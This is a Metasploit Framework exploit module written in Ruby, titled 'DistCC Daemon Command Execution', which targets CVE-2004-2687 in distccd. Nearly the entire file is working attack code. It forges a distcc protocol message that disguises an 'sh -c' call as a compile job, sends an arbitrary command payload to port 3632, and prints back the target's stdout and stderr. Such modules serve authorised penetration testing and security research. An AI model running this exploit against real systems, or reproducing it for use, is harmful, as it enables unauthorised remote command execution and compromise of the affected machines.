DistCC Daemon Command Execution

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info, 
            'Name'           => 'DistCC Daemon Command Execution',
            'Description'    => %q{
                This module uses a documented security weakness to execute
                arbitrary commands on any system running distccd.
                    
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2004-2687'],
                    [ 'OSVDB', '13378' ],
                    [ 'URL', 'http://distcc.samba.org/security.html'],

                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,                
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        => 
                [
                    [ 'Automatic Target', { }]
                ],
            'DefaultTarget' => 0))
            
            register_options(
                [
                    Opt::RPORT(3632)
                ], self.class)          
    end

    def exploit
        connect

        distcmd = dist_cmd("sh", "-c", payload.encoded);
        sock.put(distcmd)
        
        dtag = rand_text_alphanumeric(10)
        sock.put("DOTI0000000A#{dtag}\n")
        
        res = sock.get_once(24, 5)
        
        if !(res and res.length == 24)
            print_status("The remote distccd did not reply to our request")
            disconnect
            return
        end
        
        # Check STDERR
        res = sock.get_once(4, 5)
        res = sock.get_once(8, 5)
        len = [res].pack("H*").unpack("N")[0]
        
        if (len > 0)
            res = sock.get_once(len, 5)
            res.split("\n").each do |line|
                print_status("stderr: #{line}")
            end
        end

        # Check STDOUT
        res = sock.get_once(4, 5)
        res = sock.get_once(8, 5)
        len = [res].pack("H*").unpack("N")[0]
        
        if (len > 0)
            res = sock.get_once(len, 5)
            res.split("\n").each do |line|
                print_status("stdout: #{line}")
            end
        end
                
        handler
        disconnect
    end
    
    
    # Generate a distccd command
    def dist_cmd(*args)
    
        # Convince distccd that this is a compile
        args.concat(%w{# -c main.c -o main.o})
        
        # Set distcc 'magic fairy dust' and argument count
        res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
        
        # Set the command arguments
        args.each do |arg|
            res << sprintf("ARGV%.8x%s", arg.length, arg)
        end
        
        return res
    end

end